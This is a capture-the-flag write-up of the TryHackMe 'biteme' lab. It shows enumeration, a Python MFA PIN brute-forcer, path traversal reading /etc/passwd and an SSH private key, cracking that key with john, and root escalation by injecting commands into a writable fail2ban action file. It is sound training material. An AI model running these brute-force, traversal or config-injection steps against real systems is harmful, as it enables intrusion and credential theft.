[TryHackMe] biteme

[TryHackMe] biteme

https://tryhackme.com/room/biteme

·

10 min read

Description: This is a write-up of the biteme CTF in TryHackMe.

Stay out of my server!

Footprinting

Open ports

Scanning open ports via Nmap:

kali@kali:~$ sudo nmap -v10 -sS -Pn -p- -v10 -oA syn_full 10.10.96.211
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 60
80/tcp open  http    syn-ack ttl 60
kali@kali:~$ sudo nmap -v10 -sC -sV -Pn -p22,80 -v10 -oA syn_full 10.10.96.211
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 60 OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 89:ec:67:1a:85:87:c6:f6:64:ad:a7:d1:9e:3a:11:94 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOkcBZItsAyhmjKqiIiedZbAsFGm/mkiNHjvggYp3zna1Skix9xMhpVbSlVCS7m/AJdWkjKFqK53OfyP6eMEMI4EaJgAT+G0HSsxqH+NlnuAm4dcXsprxT1UluIeZhZ2zG2k9H6Qkz81TgZOuU3+cZ/DDizIgDrWGii1gl7dmKFeuz/KeRXkpiPFuvXj2rlFOCpGDY7TXMt/HpVoh+sPmRTq/lm7roL4468xeVN756TDNhNa9HLzLY7voOKhw0rlZyccx0hGHKNplx4RsvdkeqmoGnRHtaCS7qdeoTRuzRIedgBNpV00dB/4G+6lylt0LDbNzcxB7cvwmqEb2ZYGzn
|   256 7f:6b:3c:f8:21:50:d9:8b:52:04:34:a5:4d:03:3a:26 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOZGQ8PK6Ag3kAOQljaZdiZTitqMfwmwu6V5pq1KlrQRl4funq9C45sVL+bQ9bOPd8f9acMNp6lqOsu+jJgiec4=
|   256 c4:5b:e5:26:94:06:ee:76:21:75:27:bc:cd:ba:af:cc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMpXlaxVKC/3LXrhUOMsOPBzptNVa1u/dfUFCM3ZJMIA
80/tcp open  http    syn-ack ttl 60 Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

I used ffuf to enumerate the resources on the web server:

kali@kali:~$ ffuf -v -c -w /usr/share/dirb/wordlists/common.txt -u http://10.10.96.211/FUZZ -t 100 -fc 404,403
"http://10.10.96.211/"
"http://10.10.96.211/console"
"http://10.10.96.211/index.html"

In the /console/ page, there is a login form with a captcha:

>>>
POST /console/index.php HTTP/1.1
Host: 10.10.96.211
Cookie: PHPSESSID=36cmpgi2su11s3o51mfpcipis9

user=admin&pwd=password&captcha_code=w7TxPB&clicked=yes

<<<
Incorrect details

The captcha is renewed for every login attempt. So we cannot replay the logins to initiaite a brute-force attack :/

Down the rabbit image

Further enumeration shows that the captchas are generated via Securimage, which might be bypassed:

kali@kali:~$ searchsploit Securimage
------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                      |  Path
------------------------------------------------------------------------------------ ---------------------------------
PHP Captcha / Securimage 2.0.2 - Authentication Bypass                              | php/webapps/17309.txt
Securimage - 'example_form.php' Cross-Site Scripting                                | php/webapps/38509.txt
WordPress Plugin Securimage-WP - 'siwp_test.php' Cross-Site Scripting               | php/webapps/38510.txt
------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

According to the following blog:

The flaw in the CAPTCHA stems from the way MP3 and WAV audio codes, intended for use by by the visually impaired, are generated. It is worth noting that even when the user of the site has removed the audio functionality from their displayed CAPTCHA the functionality can still be accessed via forceful browsing to the file called /securimage_play.php.

The audio codes that are generated by PHPCaptcha are created by concatenating a set of audio files (that are publicly accessible in /audio directory).

Indeed, directory indexing is enabled in /console/securimage/ and we see:

  • securimage_play.php that downloads a random .waf file (CAPTCHA audio) ;

  • the directory /console/securimage/audio/en/ which contains the audios 0.wav, 1.wav, ..., 20.wav, A.wav, ... Z.wav, and finally MINUS.wav, PLUS.wav, TIMES.wav, error.wav.

  • the directory /console/securimage/audio/noise/ which contains the following background noises:

check-point-1.wav
crowd-talking-1.wav
crowd-talking-6.wav
crowd-talking-7.wav
kids-playing-1.wav

However, Securimage in the web server is not exploit, as it has a more recent version than 2.0.2:

>>>
GET /console/securimage/README.txt HTTP/1.1
Host: 10.10.96.211

<<<
NAME:

    Securimage - A PHP class for creating captcha images and audio with many options.

VERSION:

    3.6.8

Obfuscated JS & Highlighted PHPs

The login page contain an obfuscated JS code:

   <script>
      function handleSubmit() {
        eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.1(\'2\').3=\'4\';5.6(\'@7 8 9 a b c d e f g h i... j\');',20,20,'document|getElementById|clicked|value|yes|console|log|fred|I|turned|on|php|file|syntax|highlighting|for|you|to|review|jason'.split('|'),0,{}))
        return true;
      }
    </script>

Indeed, we can see fred|I|turned|on|php|file|syntax|highlighting|for|you|to|review|jason. Unpacking it (notice the function's argument: p,a,c,k,e,r), it shows:

function handleSubmit() {
    document.getElementById('clicked').value = 'yes';
    console.log('@fred I turned on php file syntax highlighting for you to review... jason');
    return true;
}

Fred has enabled a PHP syntax highlighting option. This option allows to print the highlighted version of a PHP script in its HTML format using the highlight_file[php.net/manual/en/function.highlight-file.php) function. That way, the PHP code is not interepreted by the server, and the response of the page shows an HTML highlighted format of the PHP script. For example, if index.php contains:

kali@kali:~$ cat index.php
<?php phpinfo()?>

Then, highlight_file would both encode the code in HTML, and highlight it:

kali@kali:~$ php -a
Interactive shell

php > highlight_file('index.php');
<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php&nbsp;phpinfo</span><span style="color: #007700">()</span><span style="color: #0000BB">?&gt;<br /></span>
</span>
</code>

[The function's description states] (php.net/manual/en/function.highlight-file.php):

Many servers are configured to automatically highlight files with a phps extension. For example, example.phps when viewed will show the syntax highlighted source of the file.

Indeed, we can see the source code of a PHP script via its highlighted version by using phps extension in the web server !

>>>
GET /console/index.phps HTTP/1.1
Host: 10.10.96.211

<<<
<?php
session_start();

include('functions.php');
include('securimage/securimage.php');

$showError = false;
$showCaptchaError = false;

if (isset($_POST['user']) && isset($_POST['pwd']) && isset($_POST['captcha_code']) && isset($_POST['clicked']) && $_POST['clicked'] === 'yes') {
    $image = new Securimage();

    if (!$image->check($_POST['captcha_code'])) {
        $showCaptchaError = true;
    } else {
        if (is_valid_user($_POST['user']) && is_valid_pwd($_POST['pwd'])) {
            setcookie('user', $_POST['user'], 0, '/');
            setcookie('pwd', $_POST['pwd'], 0, '/');
            header('Location: mfa.php');
            exit();
        } else {
            $showError = true;
        }
    }
}
?>
[...]

Authentication

The condition to authenticate is to give a valid username and password:

        if (is_valid_user($_POST['user']) && is_valid_pwd($_POST['pwd'])) {
            setcookie('user', $_POST['user'], 0, '/');
            setcookie('pwd', $_POST['pwd'], 0, '/');
            header('Location: mfa.php');

is_valid_user and is_valid_pwd are defined in functions.php (included at the beginning of the file):

<?php
include('config.php');

function is_valid_user($user) {
    $user = bin2hex($user);

    return $user === LOGIN_USER;
}

// @fred let's talk about ways to make this more secure but still flexible
function is_valid_pwd($pwd) {
    $hash = md5($pwd);

    return substr($hash, -3) === '001';
}

Valid username

A username is valid if it equals LOGIN_USER when converted to ASCII hex.

The LOGIN_USER variable is present in config.php (imported at the top of the file):

>>>
GET /console/config.phps HTTP/1.1
Host: 10.10.96.211

<<<
 <?php

define('LOGIN_USER', '6a61736f6e5f746573745f6163636f756e74');

Thus, a valid username is:

php > echo hex2bin('6a61736f6e5f746573745f6163636f756e74');
jason_test_account

Valid password

A password is valid if its md5 hash ends with 001.

To find a valid password, I wrote a simple python script, magic_hash_finder.py that searches the input MD5 needs to ouput a hash ending with 001.

Thus, a valid password is:

kali@kali:~$ ./magic_hash_finder.py --algorithm md5 --end --pattern 001
[+] Looking for a matching hash...
[+] md5('5265') = f127a3f714240273e254d740ed23f001

Finally, we can login as jason_test_account : 5265.

MFA

Credentials are stored in the cookies user and pwd. Once logged in, the mfa.php page asks for a PIN code:

>>>
POST /console/mfa.php HTTP/1.1
Host: 10.10.96.211
Cookie: PHPSESSIONID=dt7toh23pq09986kgbcmf4294g; pwd=5265; user=jason_test_account

code=0000

<<<
A 4 digit code has been sent to your device
Incorrect code

But again, the JavaScript code present is too informative:

   <script>
      function handleSubmit() {
        eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.1(\'@2 3 4 5 6 7 8 9 a b c, d e f g h... i\');',19,19,'console|log|fred|we|need|to|put|some|brute|force|protection|on|here|remind|me|in|the|morning|jason'.split('|'),0,{}));
        return true;
      }
    </script>

In other words, executing this function in the browser's console:

@fred we need to put some brute force protection on here, remind me in the morning... jason

Then, let's brute-force it using a basic Python program:

#!/usr/bin/env python3
import requests
import itertools
import string

def get_all_permutations(charset, length):
    return list(map(list, itertools.product(charset, repeat = length)))

if __name__ == "__main__":
    url = "http://10.10.96.211/console/mfa.php"
    cookies = {'PHPSESSIONID': 'dt7toh23pq09986kgbcmf4294g', 'user': 'jason_test_account', 'pwd': '5265'}
    print(f"[+] Looking for a valid PIN on {url}...")
    pins = get_all_permutations(string.digits, 4)
    for pin in pins:
        req = requests.post(url=url, cookies=cookies, data={"code": "".join(pin)}, proxies={'http':'http://127.0.0.1:8080'})
        if not "Incorrect code" in req.text:
            print(f"[+] Valid PIN: {pin}")
            exit()
kali@kali:~$ ./mfa_brute.py
[+] Looking for a valid PIN on http://10.10.96.211/console/mfa.php...
[+] Valid PIN: ['2', '0', '5', '5']

BTW, see how the MFA was randomly generated in mfa.php between 1000 and 3000:

>>>
GET /console/mfa.phps HTTP/1.1
Host: 10.10.96.211
Cookie: PHPSESSIONID=dt7toh23pq09986kgbcmf4294g; user=jason_test_account; pwd=5265

<<<
if (!is_file('/tmp/mfa.txt')) {
  $code = mt_rand(1000, 3000);
  file_put_contents('/tmp/mfa.txt', $code);
} else {
  $code = file_get_contents('/tmp/mfa.txt');
}

Finally we can access the dashboard !

Dashboard

The dashboard has 2 features:

  • File browser:
>>>
POST /console/dashboard.php HTTP/1.1
Host: 10.10.96.211
Cookie: PHPSESSID=dt7toh23pq09986kgbcmf4294g; user=jason_test_account; pwd=5265; code=2055

browse=/home/

<<<
.
..
fred
jason
  • File viewer:
>>>
POST /console/dashboard.php HTTP/1.1
Host: 10.10.96.211
Cookie: PHPSESSID=dt7toh23pq09986kgbcmf4294g; user=jason_test_account; pwd=5265; code=2055

view=../../../../etc/passwd

<<<
root:x:0:0:root:/root:/bin/bash
[...]
jason:x:1000:1000:jason:/home/jason:/bin/bash
fred:x:1001:1001::/home/fred:/bin/sh

The user flag is in the jason's home folder :-]

>>>
POST /console/dashboard.php HTTP/1.1
Host: 10.10.96.211
Cookie: PHPSESSID=dt7toh23pq09986kgbcmf4294g; user=jason_test_account; pwd=5265; code=2055

view=/home/jason/user.txt

<<<
THM{6f[...]70}

Local Privilege Escalation

jason

Pretty quick, I see a private RSA key:

>>>
POST /console/dashboard.php HTTP/1.1
Host: 10.10.96.211
Cookie: PHPSESSID=dt7toh23pq09986kgbcmf4294g; user=jason_test_account; pwd=5265; code=2055

view=/home/jason/.ssh/id_rsa

<<<
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,983BDF3BE962B7E88A5193CD1551E9B9

nspZgFs2AHTCqQUdGbA0reuNel2jMB/3yaTZvAnqYt82m6Kb2ViAqlFtrvxJUTkx
vbc2h5vIV7N54sHQvFzmNcPTmOpy7cp4Wnd5ttgGpykiBTni6xeE0g2miyEUu+Qj
JaLEJzzdiehg0R3LDqZqeuVvy9Cc1WItPuKRLHJtoiKHsFvm9arbW4F/Jxa7aVgH
l5rfo6pEI0liruklDfFrDjz96OaRtdkOpM3Q3GxYV2Xm4h/Eg0CamC7xJC8RHr/w
EONcJm5rHB6nDVV5zew+dCpYa83dMViq7LOGEZ9QdsVqHS59RYEffMc45jkKv3Kn
ky+y75CgYCWjtLbhUc4Ml21kYz/pDdObncIRH3m6aF3w/b0F/RlyAYQYUYGfR3/5
Y9a2/hVbBLX7oM+KQqWHD5c05mLNfAYWTUxtbANVy797CSzYssMcCrld7OnDtFx7
qPonOIRjgtfCodJuCou0o3jRpzwCwTyfOvnd29SF70rN8klzjpxvqNEEbSfnh04m
ss1fTMX1eypmCsHecmpjloTxdPdj1aDorwLkJZtn7h+o3mkWG0H8vnCZArtxeiiX
t/89evJXhVKHSgf83xPvCUvnd2KSjTakBNmsSKoBL2b3AN3S/wwapEzdcuKG5y3u
wBvVfNpAD3PmqTpvFLClidnR1mWE4r4G1dHwxjYurEnu9XKO4d+Z1VAPLI2gTmtd
NblKTwZQCWp20rRErOyT9MxjT1gTkVmpiJ0ObzQHOGKJIVaMS8oEng2gYs48nugS
AsafORd3khez4r/5g9opRj8rdCkK83fG5WA15kzcOJ+BqiKyGU26hCbNuOAHaAbq
Zp+Jqf4K6FcKsrL2VVCmPKOvkTEItVIFGDywp3u+v0LGjML0wbrGtGzP7pPqYTZ5
gJ4TBOa5FUfhQPAJXXJU3pz5svAHgTsTMRw7p8CSfedCW/85bMWgzt5XuQdiHZA0
FeZErRU54+ntlJ1YdLEjVWbhVhzHyBXnEXofj7XHaNvG7+r2bH8GYL6PeSK1Iiz7
/SiK/v4kjOP8Ay/35YFyfCYCykhdJO648MXb+bjblrAJldeXO2jAyu4LlFlJlv6/
bKB7viLrzVDSzXIrFHNoVdFmLqT3yEmui4JgFPgtWoHUOQNUw8mDdfCR0x3GAXZP
XIU1Yn67iZ9TMz6z8HDuc04GhiE0hzI6JBKJP8vGg7X8rBuA7DgoFujSOg7e8HYX
7t07CkDJcAfqy/IULQ8pWtEFTSXz1bFpl360v42dELc6BwhYu4Z4qza9FtYS0L/d
ts5aw3VS07Xp5v/pX+RogV8uIa0jOKTkVy5ZnnlJk1qa9zWX3o8cz0P4TualAn+h
dQBVNOgRIZ11a6NU0bhLCJTL2ZheUwe9MTqvgRn1FVsv4yFGo/hIXb6BtXQE74fD
xF6icxCBWQSbU8zgkl2QHheONYdfNN0aesoFGWwvRw0/HMr4/g3g7djFc+6rrbQY
xibeJfxvGyw0mp2eGebQDM5XiLhB0jI4wtVlvkUpd+smws03mbmYfT4ghwCyM1ru
VpKcbfvlpUuMb4AH1KN0ifFJ0q3Te560LYc7QC44Y1g41ZmHigU7YOsweBieWkY2
-----END RSA PRIVATE KEY-----

This file is encrypted, i.e. protected with a password. Let's converting it into a john hash format in order to crack it:

kali@kali:~$ ssh2john id_rsa > hash.txt

The wordlist rockyou reveals his password, as in most CTFs ^^

kali@kali:~$ john -w=/usr/share/wordlists/rockyou.txt hash.txt
1a2b3c4d         (id_rsa)

Finally, we can login to the sever via SSH !

ssh -i id_rsa jason@10.10.96.211
Enter passphrase for key 'id_rsa': 1a2b3c4d
jason@biteme:~$

fred

Ok, so jason can run anything as fred with no password:

jason@biteme:~$ sudo -l
Matching Defaults entries for jason on biteme:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jason may run the following commands on biteme:
    (ALL : ALL) ALL
    (fred) NOPASSWD: ALL

So let's impersonate fred:

jason@biteme:~$ sudo -u fred bash
fred@biteme:~$ whoami
fred

root

Fred can run a root command:

fred@biteme:~$ sudo -l
Matching Defaults entries for fred on biteme:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User fred may run the following commands on biteme:
    (root) NOPASSWD: /bin/systemctl restart fail2ban

However, we cannot overwrite the fail2ban service and inject a shell command inside:

fred@biteme:~$ find / -name "fail2ban*" -type f -exec ls -l {} \; 2>/dev/null
[...]
-rw-r--r-- 1 root root 673 Apr  4  2018 /lib/systemd/system/fail2ban.service
[...]

fred@biteme:~$ systemctl status fail2ban.service
● fail2ban.service - Fail2Ban Service
   Loaded: loaded (/lib/systemd/system/fail2ban.service; enabled; vendor preset: enabled)

Fail2ban's website shows fail2ban acts like an Intrusion Prevention System:

Fail2ban scans log files (e.g. /var/log/apache/error_log) and bans IPs that show the malicious signs -- too many password failures, seeking for exploits, etc.

Generally Fail2Ban is then used to update firewall rules to reject the IP addresses for a specified amount of time, although any arbitrary other action (e.g. sending an email) could also be configured. Out of the box Fail2Ban comes with filters for various services (apache, courier, ssh, etc).

Therefore, this tool would add a server's Firewall rule to block the malicious IP if it detects malicious activities. This blog also says:

fail2banonly adds and removes its own rules—your regular firewall functions will remain untouched.

Given that Fred can run the following command as root with no password:

fred@biteme:~$ sudo /bin/systemctl restart fail2ban

It's worth checking if he can edit the fail2ban's configurations:

fred@biteme:/tmp$ find /etc/fail2ban/ -writable 2>/dev/null
/etc/fail2ban/action.d
/etc/fail2ban/action.d/iptables-multiport.conf

We can write the action.d folder, which can be used to perform a privilege escalation ^^

As this write-up explains, /etc/fail2ban/jail.conf contains the different services and determines whether fail2ban is enabled or not for these services. The ban action to take (e.g. in case of three authentication failures, how much time lasts the ban, ...) is set in /etc/fail2ban/action.d.

More information here.

The SSH fail2ban configurations are set in /etc/fail2ban/jail.conf:

fred@biteme:~$ cat /etc/fail2ban/jail.conf
[sshd]
port    = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s

When some configurations are not set within the sshd section (e.g. duration of the ban, maximum authorized login failures, ...), the DEFAULT's section configurations are considered by default:

fred@biteme:~$ cat /etc/fail2ban/jail.con
[DEFAULT]
ignorecommand =
bantime  = 10m
findtime  = 10m
maxretry = 5
[...]

In other words, if I trigger 6 authentication failures (maxretry) in SSH in a 10-minutes window (findtime), I will get banned for 10 minutes (bantime).

See Jail options in the Fail2ban manual.

But more importantly, the following actionban command, set in /etc/fail2ban/action.d/iptables-multiport.conf, is run once the client gets banned:

fred@biteme:~$ vim /etc/fail2ban/action.d/iptables-multiport.conf
actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>

Therefore, we can modify that Firewall update into the following bash commands:

fred@biteme:~$ vim /etc/fail2ban/action.d/iptables-multiport.conf
actionban = ls -la /root >/tmp/root.txt; cat /root/root.txt >> /tmp/root.txt; chmod 777 /tmp/root.txt;

These commands will :

  • List the files inside /root directory and put it in /tmp/root.txt ;

  • Append the content of /root/root.txt in /tmp/root.txt ;

  • Change the permission of /tmp/root.txt, so that fred may read this file. Now, let's restart the service in the server:

fred@biteme:~$ sudo /bin/systemctl restart fail2ban

And launch a brute force attack to trigger the ban action:

kali@kali:~$ hydra -I -V -f -t 16 -l test -P /usr/share/wordlists/rockyou.txt ssh://10.10.96.211 -s 22

Finally, we have the root flag !

fred@biteme:~$ cat /tmp/root.txt
total 36
drwx------  5 root root 4096 Mar  4 18:22 .
drwxr-xr-x 24 root root 4096 Mar  4 18:18 ..
-rw-------  1 root root  115 Mar  4 18:22 .bash_history
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  3 root root 4096 Sep 24  2021 .gnupg
drwxr-xr-x  3 root root 4096 Sep 23  2021 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   38 Sep 23  2021 root.txt
drwx------  2 root root 4096 Sep 23  2021 .ssh
THM{0e[...]8d}

Did you find this article valuable?

Support jamarir's blog by becoming a sponsor. Any amount is appreciated!